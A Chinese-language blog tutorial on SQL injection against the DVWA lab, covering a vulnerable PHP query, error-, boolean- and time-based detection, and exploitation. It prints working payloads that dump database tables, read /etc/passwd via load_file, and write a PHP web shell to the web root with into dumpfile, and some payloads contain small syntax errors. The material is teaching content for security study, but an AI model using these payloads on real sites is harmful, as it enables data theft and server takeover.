zoukankan      html  css  js  c++  java
  • sql注入漏洞详解

    一、sql注入漏洞介绍

      sql注入漏洞一般存在于与后台数据库交互的页面,编程人员如果没有做好数据过滤的话就很可能诞生sql注入漏洞。黑客利用这一漏洞向服务器提交恶意的数据,数据没有经过过滤到数据库中被当作命令运行,从而做到对数据库的增删改查操作,甚至可以供黑客直接拿到服务器管理员的权限。

      例:服务器后台的代码是这样的

    <?php    
    if(isset($_GET['Submit'])){
        $id = $_GET['id'];
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
        $num = mysql_numrows($result);
        $i = 0;
        while ($i < $num) {
            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");       
            echo '<pre>';
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>';
            $i++;
        }

    ?>

      可以看到服务器没有经过任何过滤就将客户提交的id字段当作查询语句的一部分执行了,如果这个时候构造一下payload:http://dvwa/vulnerabilities/sqli/?id=1' union select table_name,table_schema from information_schema.tables--+

      在服务器中就会执行SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables;

      可以很容易的获取到目标服务器数据库中的所有数据表。

    二、如何判断网站是否存在sql注入漏洞

      1.基于报错的判断方法

        ’ ” % 

       当我们提交这些特殊符号进入数据库的时候,可能会导致数据库查询语句出错,出错结果回显在网络网页中,由此可以判断网站存在sql注入漏洞。

      2.基于布尔的判断方法

       当某些网站没有将sql错误回显在网页时,我们无法直接判断网站是否存在sql注入,这时基于布尔判断是我们可以使用的一个方法,通过给服务器提交类似and 1=1  / and 1=2这两种逻辑分别为真/假的参数,查看服务器返回内容是否有不同,由此来判断是否存在sql注入漏洞。

       这时我们可以采用一下payload来获取我们想要的信息

       1' order by x--+ x为一个数字,由此根据返回内容的正确与否可以判断出当前的列表有几列。

       1' and length(database()==x) --+ x为一个数字由此根据返回内容的正确与否可以判断出当前的数据库有几个字符组成。

       1' and ascii(substr(database(),1,1))==x--+ substr函数中的的一个参数代表使用的字符串,第二个参数代表截取的起始位置,第二个参数代表截取的长度,逐个判断可以爆出数据库的名称。

      3.基于时间的判断方法

       顾名思义,这是根据服务器相应时间来判断是否存在sql注入的方法,它是一种布尔判断方式的升级,当我们无法简单的通过页面回显内容不同来判断真假的时候,我们可以采用比较服务器相应时间的方法来判断真假,说白了就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是TRUE还是False,从而猜解一些未知的字段。

        payload如下:

        1‘ and if(1=1,sleep(5),1)--+

       1‘ and if(length(database()==x,sleep(5),1)

        1’ and if(1=1,BENCHMARK(10000000,ENCODE('111,'hello')))

    三、如何利用sql注入漏洞

       当我们判断一个网站存在sql注入漏洞以后,获取目标数据库的内容是比较简单的,但是如何扩大战果?读取目标服务器其他的文件或者将数据库下载到本地?亦或者上传后门?

       这里给出几个简单的payload:

        ' union select load_file('/etc/passwd')#

        load_file函数可以访问目标服务器本地的文件,并将结果显示在查询结果中。

        ' union select "<?php passthru($_GET)['cmd']; ?>" into dumpfile "/var/www/a.php"--+

        into dumpfile可以将文件写入到目标服务器上,以上的payload就是将php一句话代码写入到目标服务器的/var/www/下的a.php文件中,但是我们一帮情况下是没有将文件写入到服务器主目录下的权限的,Linux中有一个目录默认情况下任何人都可以对其进行读写操作,就是/tmp/

        同样还可以进行写入的函数还有into outfile 区别是into dumpfile只可以导出一行,但若我们想把一个可执行的二进制函数用outfile导出则会出现问题,因为oufile会自动在末尾插入新行,并且会转义文件内容,这样会导致二进制文件损坏,在这种情况下使用dumpfile会更加合适,这也是为什么在udf(user defined function)提权中一般使用dumpfile命令。

        读写文件的限制,读写能否成功收到一个名为secure_file_priv的参数的影响,当它的值为空的时候,导入导出不受影响,当它的值为指定目录的时候,只能向指定的目录进行导入导出,当它的值为null的时候则不能进行导入导出操作。这个参数的值可以通过select @@secure_file_priv来查找。 (一个@代表的是用户自定义的变量,两个@@代表系统变量)

     

     

      

      

  • 相关阅读:
    神奇的HTML5画图应用
    Eclipse REST 库使用
    在应用中使用Ext Loader
    新浪微博XSS攻击事件
    数字图像处理空间变换
    安装制作不用愁—Wise installation入门教程
    ExtJS 4中自定义Grid列标题的对齐方式
    页面的兼容性从认识<!DOCTYPE>开始
    ExtJS 4.1有什么值得期待?
    ExtJS应用架构设计(二)
  • 原文地址:https://www.cnblogs.com/zllovellyo/p/12567336.html
Copyright © 2011-2022 走看看